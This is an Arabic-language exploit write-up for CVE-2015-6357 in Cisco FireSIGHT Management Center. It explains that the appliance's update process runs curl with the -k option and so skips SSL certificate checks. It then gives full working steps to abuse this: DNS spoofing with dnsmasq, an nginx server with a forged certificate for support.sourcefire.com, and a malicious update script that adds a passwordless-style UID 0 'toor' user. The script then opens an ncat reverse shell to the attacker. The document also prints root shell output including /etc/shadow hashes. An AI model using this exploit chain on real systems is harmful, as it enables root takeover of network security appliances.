
استغلال لثغرة CVE-2015-6357 في التحقق من الشهادات في Cisco FireSIGHT Management Center
في حد ذاتها، تُعدّ ثغرة التحقق من الشهادة في Cisco FireSIGHT Management Center ثغرة متوسطة الخطورة بتقييم CVSS يبلغ 5.1. ومع ذلك، تمثل هذه الثغرة مثالاً على أهمية التحقق من صحة شهادات SSL. سأوضح في هذا الاستغلال كيف يمكن استغلال الثغرة للحصول على تنفيذ أوامر عن بُعد بصلاحيات مرتفعة على نظام Cisco FireSIGHT. يربط الاستغلال ثغرة التحقق من SSL بعملية تحديث البرامج على نظام Cisco FireSIGHT لخداع النظام المستهدف لتنزيل تحديث ضارّ وتنفيذه للحصول على قشرة عكسية بصلاحيات root.

يُستخدم جهاز Cisco FireSIGHT Management Center لإدارة أنظمة Cisco FirePOWER لمنع التسلل (IPS)، المعروفة أيضًا باسم Sourcefire IPS. يتولى FireSIGHT تنزيل توقيعات IPS المحدّثة وتثبيتها على أجهزة IPS المُدارة.
يتيح FireSIGHT Management Center للمسؤول بدء تحديث قواعد IPS يدويًا أو جدولة التحديثات لتحدث يوميًا/أسبوعيًا/شهريًا.
عند إجراء تحديث، يستخدم FireSIGHT Management Center أمر UNIX curl لتنزيل التحديث من دعم Sourcefire. يتم تمرير الخيار -k (المعروف أيضًا باسم --insecure) إلى استدعاء أمر curl، وهو ما يخبر curl بعدم التحقق من أي شهادات SSL يقدمها الخادم.
فيما يلي مخرجات أمر ps للخادم أثناء تنزيل تحديث:
admin@FIRESIGHT01:/var/sf$ ps -auxwww | grep curl
root 8351 0.0 0.0 37396 2708 ? S 02:02 0:00 /usr/local/bin/curl -k -o /var/sf/updates/Sourcefire_Geodb_Update-2015-08-17-002.sh https://support.sourcefire.com/auto-update/auto-dl.cgi/XX:XX:XX:XX:XX:XX:XX/Download/files/Sourcefire_Geodb_Update-2015-08-17-002.sh
تأتي تحديثات FireSIGHT في شكل سكربت شل مولّد بواسطة makeself يحتوي على أوامر UNIX Bourne shell بالإضافة إلى البيانات الثنائية المطلوب تسليمها في التحديث. يتم تنفيذ سكربتات تحديث الشل هذه مباشرة على خادم FireSIGHT كمستخدم محلي هو www.
يمكن للمهاجم القادر على تنفيذ هجوم رجل في المنتصف ضد خادم FireSIGHT إجباره على الاتصال بنسخة مزيفة من موقع دعم Sourcefire وتنزيل سكربت تحديث ضارّ ينفذ أي أمر يرغب المهاجم في تشغيله على خادم FireSIGHT.
تتيح ثغرة التحقق من SSL حدوث ذلك، إذ يتجاهل النظام شهادة SSL المزيفة التي يقدمها المهاجم ويقوم بتنزيل التحديث الضارّ وتنفيذه.
لو كان أمر curl يتحقق من شهادة SSL لفشل في تنزيل السكربت الضارّ ولحمى خادم FireSIGHT من المهاجم.
يوضح هذا الاستغلال خطر عدم التحقق من شهادة SSL من خلال استغلال الثغرة للحصول على تنفيذ أوامر عن بُعد بصلاحية المستخدم root.
سيناريو الهجوم هو أن يتمكن المهاجم من اعتراض حركة المرور الصادرة من خادم FireSIGHT إلى موقع https://support.sourcefire.com. أبسط طريقة لتوضيح ذلك هي إعداد خادم DNS «مخترَق» يستجيب للاستعلامات الخاصة بالنطاق support.sourcefire.com بعنوان IP لخادم ويب يتحكم فيه المهاجم.
في سيناريو هجوم حقيقي، قد يستخدم المهاجم أي عدد من تقنيات رجل في المنتصف لتحقيق الغاية نفسها، مثل:
تم اختبار هذا الاستغلال ضد الإصدارات التالية من FireSIGHT Virtual Appliance:
في الإثبات المفاهيمي (PoC) أدناه، تم تعيين عنوان IP 192.168.1.99 لخادم FireSIGHT.
كان المضيف المهاجم يعمل بنظام Kali Linux 2.0، على الرغم من أن الإعداد أدناه يجب أن يعمل على أي خادم يعتمد على Debian Linux. عنوان IP لمضيف Kali في المثال أدناه هو 192.168.1.1. يُستخدم مضيف Kali لتشغيل خادم DNS بالإضافة إلى موقع دعم Sourcefire المزوّر.
يتطلب الاستغلال القدرة على تزوير استجابة DNS للنطاق support.sourcefire.com. يتم تشغيل خادم dnsmasq لتوفير هذه الإمكانية والعمل كخادم DNS «المخترَق».
ثبّت dnsmasq:
root@kali# apt-get install dnsmasq
اضبط إعدادات dnsmasq:
root@kali# cat << EOF > /etc/dnsmasq.d/firepnwer.conf
address=/support.sourcefire.com/192.168.1.1
server=8.8.8.8
EOF
عدّل عنوان IP في سطر address ليكون عنوان خادم الويب الذي ستقدم منه التحديثات.
شغّل dnsmasq:
root@kali# service dnsmasq start
يلزم وجود خادم ويب لتقديم الاستغلال إلى خادم FireSIGHT عندما يطلب تحديثًا.
ثبّت خادم الويب nginx:
root@kali# apt-get install nginx
أنشئ شهادة موقّعة ذاتيًا للانتحال باسم support.sourcefire.com:
root@kali# mkdir /etc/nginx/ssl
root@kali# openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/nginx/ssl/nginx.key \
-out /etc/nginx/ssl/nginx.crt
Country Name (2 letter code) [AU]:AU
State or Province Name (full name) [Some-State]:New South Wales
Locality Name (eg, city) []:Newcastle
Organization Name (eg, company) [Internet Widgits Pty Ltd]:FirePWNER Exploit.
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:support.sourcefire.com
Email Address []:
اضبط إعدادات nginx عن طريق استبدال محتويات /etc/nginx/sites-available/default بالتالي:
server {
listen 80 default_server;
listen [::]:80 default_server;
listen 443 ssl;
root /var/www/html;
index index.html index.htm index.nginx-debian.html;
server_name support.sourcefire.com;
ssl_certificate /etc/nginx/ssl/nginx.crt;
ssl_certificate_key /etc/nginx/ssl/nginx.key;
location / {
try_files $uri $uri/ =404;
}
# rewrite requests that contain the clients license key
location ~* /auto-update/auto-dl.cgi/[A-F0-9][A-F0-9]:.* {
rewrite ^(/auto-update/auto-dl.cgi)/[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]/(.*)$ $1/$2;
}
location /auto-update {
root /var/www/html/firepwner;
}
}
شغّل nginx:
root@kali# service nginx start
يتطلب استغلال FirePWNER تقديم ملفين من خادم الويب. الملف الأول هو بيان التحديث، وهو ملف XML يحتوي على قائمة بالتحديثات المتاحة ومواقع تنزيلها ومجاميع MD5.
أولاً، تحتاج إلى إنشاء بعض الدلائل:
root@kali# mkdir \
/var/www/html/firepwner/auto-update/auto-dl.cgi/{Download/files,GetCurrent}
ثم انسخ ملفات الاستغلال إليها:
root@kali# cp sf.xml /var/www/html/firepwner/auto-update/auto-dl.cgi/GetCurrent/sf.xml
root@kali# cp firepwner.sh \
/var/www/html/firepwner/auto-update/auto-dl.cgi/Download/files/firepwner.sh
بعد نسخ هذه الملفات، يجب أن تتمكن من الانتقال إلى
http://192.168.1.1/auto-update/auto-dl.cgi/GetCurrent/sf.xml
بعد ذلك، ولأغراض توضيح الاستغلال، يجب تكوين خادم FireSIGHT لاستخدام خادم DNS «المخترَق». سجّل الدخول إلى بوابة FireSIGHT على الويب وانتقل إلى System > Local > Configure > Management Interfaces واضبط خادم DNS الأساسي على عنوان IP الخاص بخادم DNS «المخترَق» (192.168.1.1) واحفظ التغيير.
يستخدم الاستغلال أمر ncat المثبّت افتراضيًا على خادم FireSIGHT لإنشاء قشرة عكسية إلى مضيف Kali. على مضيف Kali، تحتاج إلى الاستماع لاتصال القشرة العكسية القادم من خادم FireSIGHT:
root@kali# ncat -v -l 4444
ثم انتقل في بوابة FireSIGHT على الويب إلى System > Updates > Rule Updates واختر Download new rule update from the Support Site وانقر على زر Import. سيقوم الخادم بعد ذلك بتنزيل بيان التحديث sf.xml من خادم المهاجم، وسيرى أن هناك تحديثًا متاحًا، وسينزّل التحديث وينفذه كمستخدم www. يستفيد سكربت التحديث/الاستغلال أدناه من حقيقة أن المستخدم www لديه عدد من أوامر sudo يمكنه تشغيلها، بما في ذلك useradd. ينشئ الاستغلال مستخدمًا جديدًا باسم toor بكلمة مرور فارغة، ثم يستخدم su لرفع الصلاحيات وبدء اتصال قشرة عكسية إلى خادم المهاجم.
#!/bin/sh
# add a new UID 0 "toor" user with an empty password
sudo useradd -o -p '$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.' -g root -c toor -u 0 -s /bin/sh \
-d /root toor
# su to toor and start the reverse shell
echo | su - toor -c "/usr/local/sf/nmap/bin/ncat -e /bin/sh support.sourcefire.com 4444"
exit 0
يمكن تغيير سكربت الاستغلال لتشغيل أي أوامر أخرى مرغوبة. إذا تم تغيير السكربت، فيجب تحديث قيمة وسم XML <md5sum> في sf.xml بمجموع MD5 الجديد لسكربت الاستغلال.
فيما يلي مثال على المخرجات التي يجب أن تراها على مضيف Kali عند نجاح الاستغلال وفتح قشرة عن بُعد على خادم FireSIGHT وتنفيذ الأمرين id و cat /etc/passwd:
root@kali# ncat -v -l 4444
Ncat: Version 6.49BETA4 ( http://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.1.99.
Ncat: Connection from 192.168.1.99:41637.
id
uid=0(root) gid=0(root) groups=0(root)
cat /etc/shadow
root:x:11869:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
mysql:*:9797:0:::::
nobody:*:9797:0:::::
sshd:*:9797:0:::::
www:*:9797:0:::::
sfsnort:*:9797:0:::::
sfremediation:*:9797:0:::::
sfrna:*:9797:0:::::
snorty:*:9797:0:::::
admin:$6$GCOeXpyR$Qhq6Eq5aSW8n.15RajwYrHVLud8NaN4aKEkVXC43I5m/X.ux/bgIHAplYifOaxTIxaIThqOBGmZgO5aey5tjE/:11869:0:::::
toor:$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.:16679:0:99999:7:::
يمكن الحصول على الملفات المستخدمة في هذا الاستغلال من github.